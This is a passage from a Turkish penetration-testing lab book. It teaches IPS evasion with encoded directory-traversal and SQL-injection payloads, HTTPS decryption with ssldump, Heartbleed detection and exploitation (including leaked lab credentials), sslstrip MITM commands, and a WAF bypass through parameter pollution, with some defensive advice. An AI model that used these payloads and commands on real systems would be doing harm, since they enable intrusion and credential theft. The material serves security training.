URL Encode - +%u2018or+%u20181%u2019%3D%u20191
Double URL Encode - %2B%25u2018or%2B%25u20181%25u2019%253D%25u20191
35. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Base64 - IBhvciAYMRk9GTE=
En tehlikeli saldırılardan biri olan local file inclusion ya da directory traversal encoding
yöntemleri ile rahatlıkla aşılabilir. IPS’ler genelde ‘..’ ve ‘../’ ifadesini gözrdükleri zaman bunu
saldırı olduğunu anlarlar ve ona göre davranırlar. Ama ../../../../../../../etc/passwd gibi bir
payload encoding yöntemleri kullanılarak gönderilirse, istenilen sayfa elde edilecektir.
HEX - 2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f6574632f706173737764
Base64 - Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
2.2. SSLDUMP KULLANARAKHTTPS TRAFİĞİ ANALİZİ
SSLdump SSL/TLS kullanılarak şifrelenmiş trafikler için geliştirilmiş trafik analizi ve şifre
çözümleme aracıdır. SSLdump kullanarak(sunucuya ait gizlianahtarın elde olduğu varsayılıyor)
HTPS ve benzeri şifreli trafiklerin içerisinde geçen bilgiler okunabilir.
SSldump akan trafikten analiz/şifre çözme yapabileceği gibi daha önce pcap formatında
kaydedilmiş trafikten de analiz/şifre çözme işlemleri gerçekleştirebilir.
SSLdump Kullanım Parametreleri
Canlı trafikte analiz için
#ssldump -i ağ_arabirimi (ssldump -i eth0 gibi)
Daha önce kaydedilmiş pcap formatındaki dosyadan okutmak için
#ssldump -r
SSL trafiği içerisinde geçen verileri açığa çıkarmak için gerekli parametreler
ssldump -i eth0 -k gizlianahtar -d
d uygulama seviyesi trafik bilgilerini göstermek için kullanılır. SSL verilerini çözebilmesi için
ssldump’ın openssl destekli kurulmuş olması gerekir. Openssl desteğini öğrenmek için -v
parametresi kullanılabilir.
36. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
[root@labs ~]# ssldump -v
ssldump 0.9b3
Copyright (C) 1998-2001 RTFM, Inc.
All rights reserved.
Compiled with OpenSSL: decryption enabled
Örnek kullanım:
#ssldump -i rl0 tcp port 443
New TCP connection #1: dsl7.16-3229.ttnet.net.tr(4318) <-> labs.lifeoverip.net(443)
1 1 0.0638 (0.0638) C>S Handshake
ClientHello
Version 3.1
resume [32]=
24 fc 17 ee f2 b4 c5 e9 96 51 51 f3 38 e6 b9 7f
61 18 6c d0 68 3d 64 1c 8d bf 05 da 28 62 7a fc
cipher suites
Unknown value 0xff
Unknown value 0xc00a
Unknown value 0xc014
Unknown value 0×88
Unknown value 0×87
Unknown value 0×39
Unknown value 0×38
37. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Unknown value 0xc00f
Unknown value 0xc005
Unknown value 0×84
Unknown value 0×35
Unknown value 0xc007
Unknown value 0xc009
Unknown value 0xc011
Unknown value 0xc013
Unknown value 0×45
Unknown value 0×44
Unknown value 0×33
Unknown value 0×32
Unknown value 0xc00c
Unknown value 0xc00e
Unknown value 0xc002
Unknown value 0xc004
Unknown value 0×96
Unknown value 0×41
TLS_RSA_WITH_RC4_128_MD5
TLS_RSA_WITH_RC4_128_SHA
Unknown value 0x2f
Unknown value 0xc008
38. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Unknown value 0xc012
TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
Unknown value 0xc00d
Unknown value 0xc003
Unknown value 0xfeff
TLS_RSA_WITH_3DES_EDE_CBC_SHA
compression methods
NULL
1 2 0.0643 (0.0004) S>C Handshake
ServerHello
Version 3.1
session_id[32]=
24 fc 17 ee f2 b4 c5 e9 96 51 51 f3 38 e6 b9 7f
61 18 6c d0 68 3d 64 1c 8d bf 05 da 28 62 7a fc
cipherSuite Unknown value 0×88
compressionMethod NULL
1 3 0.0643 (0.0000) S>C ChangeCipherSpec
1 4 0.0643 (0.0000) S>C Handshake
1 5 0.1088 (0.0445) C>S ChangeCipherSpec
1 6 0.1088 (0.0000) C>S Handshake
1 7 0.1088 (0.0000) C>S application_data
39. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
1 8 0.1124 (0.0035) S>C application_data
1 9 0.1124 (0.0000) S>C application_data
1 10 0.1796 (0.0672) C>S application_data
1 11 0.1832 (0.0035) S>C application_data
1 12 0.1832 (0.0000) S>C application_data
Bir SSL bağlantısına ait tüm adımlar ssldump’da ayrı trafik numarasıyla belirtilir ve ilgili ssl
bağlantısına ait tüm paketler o numarayı takip eder. Yukardaki çıktıda bir adet ssl bağlantısı
vardır ve 1, 1 1, 1 2, 1, 3 ….1 12 şeklinde giden satırlar tek bir SSL bağlantısına aittir.
Yukardaki ssl bağlantısında veriler şifreli olduğu için gözükmeyecektir. SSldump’a bağlantı
yapılan adresin gizli anahtarını -k parametresi ile tanıtıldığında 1 12 0.1832 (0.0000) S>C
application_data yazan kısımda aşağıdaki gibi açık HTTP başlık bilgileri gözükecektir.
#ssldump -i rl0 -d -H -k /usr/local/etc/apache22/extra/blog.key tcp port 443
New TCP connection #1: dsl7.16-3229.ttnet.net.tr(4318) <-> labs.lifeoverip.net(443)
1 1 0.0638 (0.0638) C>S Handshake
ClientHello
Version 3.1
resume [32]=
24 fc 17 ee f2 b4 c5 e9 96 51 51 f3 38 e6 b9 7f
61 18 6c d0 68 3d 64 1c 8d bf 05 da 28 62 7a fc
cipher suites
Unknown value 0xff
Unknown value 0xc00a
Unknown value 0xc014
40. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Unknown value 0×88
Unknown value 0×87
Unknown value 0×39
Unknown value 0×38
Unknown value 0xc00f
Unknown value 0xc005
TLS_RSA_WITH_RC4_128_MD5
TLS_RSA_WITH_RC4_128_SHA
Unknown value 0xc008
Unknown value 0xc012
TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
Unknown value 0xc00d
Unknown value 0xc003
Unknown value 0xfeff
TLS_RSA_WITH_3DES_EDE_CBC_SHA
compression methods
NULL
1 2 0.0643 (0.0004) S>C Handshake
ServerHello
Version 3.1
session_id[32]=
41. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
24 fc 17 ee f2 b4 c5 e9 96 51 51 f3 38 e6 b9 7f
61 18 6c d0 68 3d 64 1c 8d bf 05 da 28 62 7a fc
cipherSuite Unknown value 0×88
compressionMethod NULL
1 3 0.0643 (0.0000) S>C ChangeCipherSpec
1 4 0.0643 (0.0000) S>C Handshake
1 5 0.1088 (0.0445) C>S ChangeCipherSpec
1 6 0.1088 (0.0000) C>S Handshake
1 7 0.1088 (0.0000) C>S application_data
GET /network_pentest HTTP/1.1
Host: www.bga.com.tr
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.6) Gecko/20100625
Firefox/3.6.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
1 8 0.1124 (0.0035) S>C application_data
HTTP/1.1 404 Not Found
Date: Tue, 29 Jun 2010 13:24:17 GMT
Server: Apache/2.2.13
42. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Content-Length: 213
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
1 12 0.1832 (0.0000) S>C application_data
2.3. OPENSSL HEARTBLEED ZAFİYETİ İSTİSMARI
TLS’in heartbeat eklentisindeki bir programlama hatasından kaynaklanan sorun sayesinde
internete açık zafiyet içeren OpenSSL sürümünü kullanan herhangi bir sistemin belleğindeki
bilgiler 64 kbyte’lık bölümler halinde alınabilmektedir.
Açık, internet üzerinden herhangi yetki gerektirmeksizin tcp 443. porttan kurulan bağlantılar
üzerinden(başka portlarda çalışan TLS destekli protokollerde dâhil) şifrelemede kullanılan
private key’lerin, kullanıcı adı ve şifrelerin, cookie’lerin ve benzer her türlü hassas verinin
alınabilmesine olanak sağladığından dolayı, OpenSSL’in 1.0.1 – 1.0.1f arası sürümlerini
kullanan sistemlerin bir an önce açığın bulunmasının hemen ardından yayınlanan OpenSSL
1.0.1g sürümüne terfi etmeleri, bu işlem yapılamıyorsa da mevcut OpenSSL’in “-
DOPENSSL_NO_HEARTBEATS”parametresi ile yeniden derlenerek heartbeat özelliğini devre
dışı bırakmaları önerilmektedir.
İlgili zafiyeti gideren güncelleme paketleri, CentOS, Debian ve FreeBSD paket depolarına
eklendi. Bu nedenle ilgili sistemleri kullanıyorsanız acilen sistem güncellenmelidir. Ayrıca,
sistem güncellemesine kadar geçen süreç içerisinde SSL anahtarlarınızın alınıp alınmadığını
bilemeyeceğiniz için mevcut anahtarların da iptal edilerek yenilerinin üretilmesi yerinde
olacaktır.
Açıklıktan Etkilenen Sistemler
● Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
● Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
● CentOS 6.5, OpenSSL 1.0.1e-15
● Fedora 18, OpenSSL 1.0.1e-4
43. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
● OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) ve 5.4 (OpenSSL 1.0.1c 10 May 2012)
● FreeBSD 10.0 - OpenSSL 1.0.1e 11 Feb 2013
● NetBSD 5.0.2 (OpenSSL 1.0.1e)
● OpenSUSE 12.2 (OpenSSL 1.0.1c
● Red Hat Enterprise Linux 6.5, Red Hat Enterprise Virtualization Hypervisor 6.5, and
Red Hat Storage 2.1
Açıklığınortaya çıkmasından sonra istismarıiçin bir takımistismar araçlarıyayınlandı. Bağımsız
olarak geliştirilen exploit’lerin yanısıra Nessus, nmap, metasploit gibi en sık kullanılan güvenlik
araçları da açıklığı tespit etmek amaçlı kendilerini güncelleyerek gerekli script’leri
kütüphanelerine eklediler. İlk olarak nmap port tarama aracının yayınlamış olduğu script’i
kullanarak yerel ağda açıklıktan etkilenen sistemlerin olup olmadığını kontrol edilecektir.
2.3.1. Nmap NSE Kullanarak HeartBleedZafiyetini TespitEtme
# nmap -p 443 --script ssl-heartbleed 6.6.6.0/24
Nmap scan report for 6.6.6.251
Host is up (0.0022s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic
software library. It allows for stealing information intended to be protected by SSL/TLS
encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of
OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems
protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise
encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap scan report for 6.6.6.247
44. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Host is up (0.0020s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic
software library. It allows for stealing information intended to be protected by SSL/TLS
encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of
OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems
protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise
encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Tablodaki port tarama sonuçlarına bakılacak olursa 6.6.6.0(6.6.6.0/24 ağı BGA'nın kullandığı
sızma testi lab sistemlerine aittir) alt ağında açıklıktan etkilenen 2 tane makinenin olduğu
görülmektedir.
Açıklığı istismar etmek için geliştirilmiş exploitler kullanılarak hedef sistembelleğindeki hassas
verilere erişmek mümkün olacaktır.
2.3.2. Nessusile ‘heartbleed’Taraması Gerçekleştirme
Diğer bir zaafiyet tarama aracı olan Nessus, OpenSSL’de bulunan bu güvenlik açığı karşısında
kendisini güncellemiştir. Nessus ile örnek bir heartbleed taraması aşağıdaki gibi yapılabilir.
Heartbleed taraması yapabilmek için, ilk olarak ‘Heartbleed Detection’ politikası
oluşturulmalıdır.
45. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Policy oluşturma
Oluşturulan bu politika kullanılarak tarama başlatılır.
Taramayı Başlatma
Eğer hedef sistemaçıklıktanetkilenmiş ise,nessus bu durumu tespit edecek ve aşağıdakiekran
görüntüsünde olduğu gibi rapor sunacaktır.
46. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2.3.3. Metasploitile HeartbleedTesti
En çok kullanılan güvenlik araçlarından biri olan Metasploit, OpenSSL’de bulunan bu güvenlik
açığı karşısında ilgili güncellemeyi yapmıştır. Aşağıdaki örnekte Metasploit kullanarak hedef
sistemin açıklıktan etkilenip etkilenmediği kontrol edilmiştir.
NOT: Metasploit ve Nessus sadece HTTPS değil diğer SSL kullanan portları da test edip tespit
edebilmektedir.
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 443 yes The target port
STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS
(accepted: None, SMTP, IMAP, JABBER, POP3)
THREADS 1 yes The number of concurrent threads
TLSVERSION 1.1 yes TLS version to use (accepted: 1.0, 1.1, 1.2)
47. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
msf auxiliary(openssl_heartbleed) > set RHOSTS 6.6.6.251
RHOSTS => 6.6.6.251
msf auxiliary(openssl_heartbleed) > run
[+] 6.6.6.251:443 - Heartbeat response with leak
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
2.3.4. Heartbleedİstismar Scripti
Açıklığı tespit ettikten sonra, istismar etmek için https://github.com/musalbas/heartbleed-
masstest/blob/master/ssltest.py adresinde bulunan exploit kullanılabilir. Örnek bir uygulama
aşağıdaki gibidir.
# python ssltest.py 6.6.6.251 -p 443
username=bg
0290: 65 6E 76 70 6E 26 70 61 73 73 77 6F 72 64 3D 50 alab&password=P
02a0: 64 62 37 34 63 70 38 63 6C 72 A9 4B 76 27 B9 A8 as12cp8bga.Kv'..
02b0: 9D 29 59 C4 54 4A 16 06 75 3B 00 00 00 00 00 00 .)Y.TJ..u;......
username: bgalab
pass: Pas12cp8bga
48. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2.4. SSLSTRIP
2.4.1. HTTPS’e GüveninizTammı?
Bu yazının konusu günlük hayatımızda güvenli olduğu düşünülerek kullanılan HTTPS
protokolünün güvenliğine yöneliktir.
2.4.2. Katmanlı GüvenlikAnlayışı
Meşhur bir söz vardır: “bir zincir en zayıf halkası kadar kuvvetlidir”. Bu söz bilgi güvenliği için
de geçerlidir. Zira güvenlik de bir zincir misali çeşitli katmanlardan(halkalardan) oluşur ve bir
sistemingüvenliğikendisini oluşturan katmanlardan en basitikadardır. Günümüzde güvenliğin
en çok ihtiyaç duyulduğu nokta iletişim dünyasıdır. Bu dünyanın da temelini TCP/IP oluşturur.
TCP/IP protocol ailesi bundan yıllar önce amacı güvenlik olmayan işler için geliştirilmiş bir
protokoldür ve günümüzde ise çeşitli eksiklikleri hissedilmektedir. Bu eksiklikler yeni yeni
protokollerle kapatılmaya çalışılsa da temelde olan bir problem tüm sistemi
etkileyebilmektedir.
Mesela HTTPS üzerinden çalışan bir uygulamaya güvenli denilebilmesi için sistemin hangi
katmanlardan oluştuğunu iyi bilmek ve bu katmanlardaki güvenlik zaafiyetlerini ölçeklemek
gerekir.
Şekilde görüleceği üzere HTTPS bağlantısının gerçekleşmesi için ek 4 protokol daha devreye
girer. HTTPS ne kadar güvenli olursa olsun diğer protokollerdeki bir açıklık HTTPS’i de
etkileyecektir. Peki, HTTPS güvensiz midir?
2.4.3. HTTPS GüvensizMidir?
Bankalar, online alışveriş siteleri vb. kurumlar için güvenlik denilince akla 128 bitlik şifreleme
gelir. Evet, 128 bitlik şifreleme günümüz ölçülerinde güvenilir kabul edilse de iş sadece
şifrelemeyle kalmıyor, şifreleme ile birlikte kullanılan diğer altyapıların da güvenli olması
gerekir.
49. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
SSL’in karşı karşıya kaldığı ilk ve önemli saldırı tipi MITM(Man in The middle) ataklardır. MITM
tipi ataklarda saldırgan kendisini istemci(kurban) ile sunucu arasına yerleştirerek tüm trafiği
dinler ve değiştirebilir.
HTTPS bağlantılarında MITM ile araya giren saldırgan sahte sertifika üretse de sertifika geçerli
bir CAKurumu tarafından imzalanmadığı içinkullanıcının tarayıcısında hata verecektir. Eskiden
tarayıcı uyarıları kolaylıkla atlanabilir, gözden kaçabilir uyarılardı fakat günümüzde
browserlarin verdiği SSL uyumsuzluk uyarıları gerçekten uyarıcı, uyarmanın ötesinde rahatsız
ediciolmaya başladı.ÖzellikleFirefox’un yeni sürümlerinde bu durum belirgin olarak karşımıza
çıkmaktadır.
Yukarıdaki çıktıda SSL sertifika uyumsuzluğundan Firefox’un verdiği uyarılar serisi sıradan bir
kullanıcıyı bile sayfadan kaçıracak türdendir.
Dikkatsiz, her önüne gelen linke tıklayan, çıkan her popup okumadan yes’e basan kullanıcılar
için bu risk azalsa da hala devam ediyor ama bilinçli kullanıcılar bu tip uyarılarda daha dikkatli
olacaklardır. Peki, bilinçli kullanıcıların gözünden kaçabilecek ve HTTPS’I güvensiz kılabilecek
başka açıklıklar var mıdır?
Bu sorunun kısa cevabı evet, uzun cevabına gelecek olunursa…
50. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2.4.4. SSL’in HTTP ile İmtihanı
SSL(HTTPS)’i güvenlik amacıyla kullanılır fakat günümüzde SSL kullanılan çoğu sistemde HTTP
ve HTTPS birlikte kullanılmaktadır. Yani önce sayfaya HTTP üzerinden girilir, sonra hassas
bilgiler içerecek linklerde HTTPS’e çevrilir. Bu durumda yeni oluşacak HTTPS’in güvenliği
buradaki HTTP’e bağlı oluyor.
Firmaların neden sadece HTTPS kullanmadığı sorusuna verilecek en kısa cevap SSL’in sunucu
tarafında ek kapasite gerektirmesidir. HTTP ile HTTPS arasındaki yük farkını görebilmek için
aynı hedefe yapılmış iki farklı HTTP ve HTTPS isteğinin Wireshark gibi bir snifferla incelenmesi
yeterli olacaktır.
HTTP’de oturum bilgisi çoğunlukla cookie’ler üzerinden taşındığı düşünülürse eğer sunucu
tarafında kod geliştirenler cookilere “secure” özelliği (cookielerin sadece güvenli bağlantı
üzerinden aktarılması) eklememişlerse trafiği dinleyebilen birisi hesap bilgilerine ihtiyaç
duymadan cookieler aracılığıyla sizin adınıza sistemlere erişebilir.
Bunun için çeşitli yöntemler bulunmaktadır, internette “sidejacking” ve surfjacking anahtar
kelimeleri kullanılarak yapılacak aramalar konu hakkında detaylı bilgi verecektir.
2.4.5. GözYanılgısıylaHTTPS Nasıl Devre Dışı Bırakılır?
Bu yıl yapılan Blackhat konferanslarında dikkat çeken bir sunum vardı: “New Tricks For
Defeating SSL In Practice”. Sunumun ana konusu yukarda anlatılmaya çalışılan HTTPS ile
HTTP’nin birlikte kullanıldığı durumlarda ortaya çıkan riski ele alıyor. Sunumla birlikte
yayınlanan sslstripadlıuygulama anlatılanların pratiğe döküldüğü basit bir uygulama ve günlük
hayatta sık kullanılan banka, webmail, online alış veriş sitelerinde sorunsuz çalışıyor. Kısa kısa
ssltrip’in nasıl çalıştığı, hangi ortamlarda tehlikeli olabileceği ve nasıl korunulacağı konularına
değinilecektir.
2.4.6. SSLStrip Nasıl Çalışır?
Öncelikle sslstrip uygulamasının çalışması için Linux işletim sistemine ihtiyaç duyulduğu ve
saldırganın MITM tekniklerini kullanarak istemcinin trafiğini üzerinden geçirmiş olması
zorunlulugunu belirtmek gerekir.
Şimdi adım adım saldırganın yaptığı işlemler ve her adımın ne işe yaradığı incelenecektir;
51. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
1. Adım: Saldırgan istemcinin trafiğini kendi üzerinden geçirir. Saldırgan istemcinin trafiğini
üzerinden geçirdikten sonra trafik üzerinde istediği oynamaları yapabilir. Saldırgana gelen
paketleri hedefe iletebilmesi için işletimsisteminin routing yapması gerekir. Linux sistemlerde
bu sysctl değerleriyle oynayarak yapılabilir. (echo "1" > /proc/sys/net/ipv4/ip_forward)
2. Adım: Saldırgan iptables güvenlik duvarını kullanarak istemciden gelip herhangi biryere
giden tüm TCP/80 isteklerini lokalde sslstrip’in dinleyeceği 8000. Porta yönlendiriyor.
İlgili Iptables komutu:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8000
3. Adım: Saldırgan sslstrip uygulamasını çalıştırarak 8000.portu dinlemeye alıyor ve istemci ve
sunucudan gelecek tüm istek-cevapları “topla” isimli dosyaya logluyor.
#sslstrip -w topla --all -l 8000 –f
Şimdi şöyle bir senaryo olduğu varsayılmaktadır: Masum kullanıcı ailesiyle geldiği alışveriş
merkezinde ücretsiz bir kablosuz ağ bulmuş olmanın sevinciyle mutlu bir şekilde gelip
bilgisayarını açsın ve ilk yapacağı iş maillerini kontrol etmek olsun. Ortama dâhil olmuş masum
bir kullanıcının yaşadığı süreç şu şekilde olacaktır:
İstemci ağa bağlanıp internete erişmek istediğinde ortamdaki saldırgan el çabukluğu marifetle
istemcinin trafiğini üzerinden geçirir (ARP Cache poisoning yöntemiyle).
İstemci durumdan habersiz webmail uygulamasına bağlanmak için sayfanın adresini yazar.
Araya giren saldırgan sunucudan dönen cevaplar içerisinde HTTPS ile başlayan satırları HTTP
ile değiştirir ve aynen kullanıcıya gönderir.
Hiçbir şeyden haberi olmayan kullanıcı gelen sayfada kullanıcı adı/parola bilgilerini yazarak
Login’i tıklar. Kullanıcıdan gelen login bilgisi HTTP üzerinden olduğu için saldırganın
bilgisayarında çalışan sslstrip bu bilgileri alır, kaydeder ve yine bu bilgileri kullanarak web
uygulamasına HTTPS bağlantısı açar, web uygulamasından dönen cevapları yine içerisindeki
HTTPS satırlarını HTTP ile değiştirerek kullanıcıya döndürür.
Böylece istemci fark etmeden HTTPS yerine HTTP kullanarak tüm bilgilerini kaptırır.
Böyle bir senaryo, halka açık kablosuz ağlarda, şirketlerin yerel ağlarında, TOR vs. gibi ücretsiz
proxy hizmeti kullanılan yerlerde yaşanabilir
2.4.7. Nasıl Korunulur?
Bu yazıda anlatılan saldırı yönteminden korunmak, sunucu tarafından ziyade istemci tarafını
ilgilendirir. İstemci HTTPS olarak gitmek istediği sitelere giderken isteklerinin HTTPS olarak
gittiğine dikkat etmeli, ötesinde bu işi kendine bırakmayıp otomatize edecek bir yazılıma
bırakmalı.
Firefox kullanıcısıysanız aşağıdaki [3]nolu kaynaktan indireceğiniz ForceHTTPS ya da Noscript
eklentilerini kullanarak belirlediğiniz sitelere sadece HTTPS bağlantısı yapılmasını
sağlayabilirsiniz.
52. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
2.5. HTTP PARAMETER POLLUTİON KULLANARAKWAF ATLATMA
Lab senaryosu: HTTP “parameter pollution” açıklığı ile WAF tarafından korunan sistemdeki
sqli zafiyeti istismar edilir.
Kullanılan Araçlar:
● Iceweasel 18
● PHP veya ASP.NET destekleyen bir web sunucusu
Adımlar:
1. Adım:
İlk olarak istismar edilmek istenilen zafiyetin payloadının WAF tarafından engellendiğinin
tespit edilmesi gerekmektedir. Örnek olarak “ index.php?pageID=15’ “ şeklinde çağırıldığında
sql hatası döndüren bir web uygulaması “index.php?pageID=15 union select user() --” istismar
koduna özel bir hata mesajı döndürür veya hiç tepki vermezse arada yüksek ihtimalle WAF
görevi gören bir sistembulunuyor denilebilir.
2.Adım:
Sunucu tarafındaki web teknolojisinin HTTP parametrelerini yorumlama şekline göre istismar
kodunun payload bölümünü yeniden şekillendirerek WAF atlatılmaya çalışılır. Bu aşamada
aşağıdaki tablo faydalı olabilir.
53. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Tabloda da görüldüğü üzere PHP sunucuları HTTP parametrelerini yorumlarken aynı isimli
parametreler varsa sadece sonuncuyu değerlendirmeye almaktadır. Hedef sistemdeki WAF’ın
aynı isimli parametrelerden ilkini değerlendirmeye aldığı bir durumda yeni istismar kodumuz
şu şekilde olacaktır : “ index.php?pageID=15&pageID=15 union select user()-- “.
Benzer şekilde bir ASP.NET uygulaması için
“list.aspx?id=10’ union select null,null,user,pass from users--” şeklindeki bir sqli istismarını
“list.aspx?id=10’ union select null&id=null&id=user&id=pass from users--” olarak
değiştirerek WAF’ı atlatmak mümkün olabilir.Çünkü tabloda da görüldüğü üzere asp.net ikinci
URL’deki aynı isimli parametreleri “,” (virgül) ile birleştirerek geçerli bir sql sorgusu oluşmasını
sağlayacaktır.
3. KABLOSUZ AĞLARDA(WLAN) GÜVENLİK
3.1. LINUX SİSTEMLERDEKABLOSUZ AĞLARA BAĞLANMA(WEP/WPA)
Linux sistemler kablosuz ağ yapılandırması için zengin seçeneklere sahiptir. Her Linux
dağıtımının kendi grafik arabirimi yapılandırması olduğu gibi tüm Linux dağıtımları için geçerli
komutları kullanmak da her zaman hazır seçenek olarak durmaktadır.
Bir kablosuz ağ cihazının neler yapabileceğini düşünelim; öncelikle bulunduğu çevredeki çalışır
vaziyette bulunan erişim noktalarını görmek isteyecektir, bulduğu erişim noktalarından birini
seçerek bağlanmak ve gerekli IP yapılandırmasını girmesi gerekecektir, ya da erişim noktası
tarafından verilen hazır bilgilerikullanacaktır. Eğer erişimnoktasında güvenlik amaçlışifreleme
kullanılmışsa kullanılan protokole(WEP/WPA) uygun anahtarın da doğru şekilde girilmesi
gerekir.
Kapsama alanında bulunan Erişim Noktalarını(Access Point) keşfetmek için “iwlist” komutu
uygun parametreler ile kullanılır.
54. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI]
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
Linux makinemizdeki wireless Ethernet arabiriminin eth1 olduğunu varsayarsak çevremizdeki
AP’leri aşağıdaki komut ile görebiliriz.
root@byte: ~# iwlist eth1 scan
eth1 Scan completed :
Cell 01 - Address: 00:05:60:D5:CE:76
ESSID:"Byte Test"
Mode:Master
Frequency:2.417GHz
Quality:0/10 Signal level:-70 dBm Noise level:-256 dBm
Encryption key:off
Bit Rate:1Mb/s
Bit Rate:2Mb/s
Bit Rate:5.5Mb/s
Bit Rate:11Mb/s
Cell 02 - Address: 00:04:2B:52:15:58
ESSID:"Sebil Net"
Mode:Master
Frequency:2.467GHz
Quality:0/10 Signal level:-22 dBm Noise level:-256 dBm
Encryption key:on
Bit Rate:1Mb/s
Bit Rate:2Mb/s
Bit Rate:5.5Mb/s
Bit Rate:11Mb/s
Peki, hangi arabirimimizin kablosuz ağ adaptörü olduğunu nasılanlarız? Bunun için de iwconfig
komutu parametresiz kullanılırsa Linux bilgisayarımızda bulunan ağ adaptörleri inceleyerek
hangilerinin kablosuz ağ adaptörü olduğunu bize söyleyecektir.
Bulunan erişimnoktalarından herhangi birine bağlanmak için iwconfig komutunu kullanıyoruz.
root@byte: ~# iwconfig eth1 essid “Byte Test”
root@byte: ~# ifconfig eth1 up
root@byte: ~# ifconfig eth1 192.168.1.2 netmask 255.255.255.0
Ya da otomatik ip aldırmak için
root@byte: ~# dhclient eth1
root@byte~ # dhcpcd -n eth1
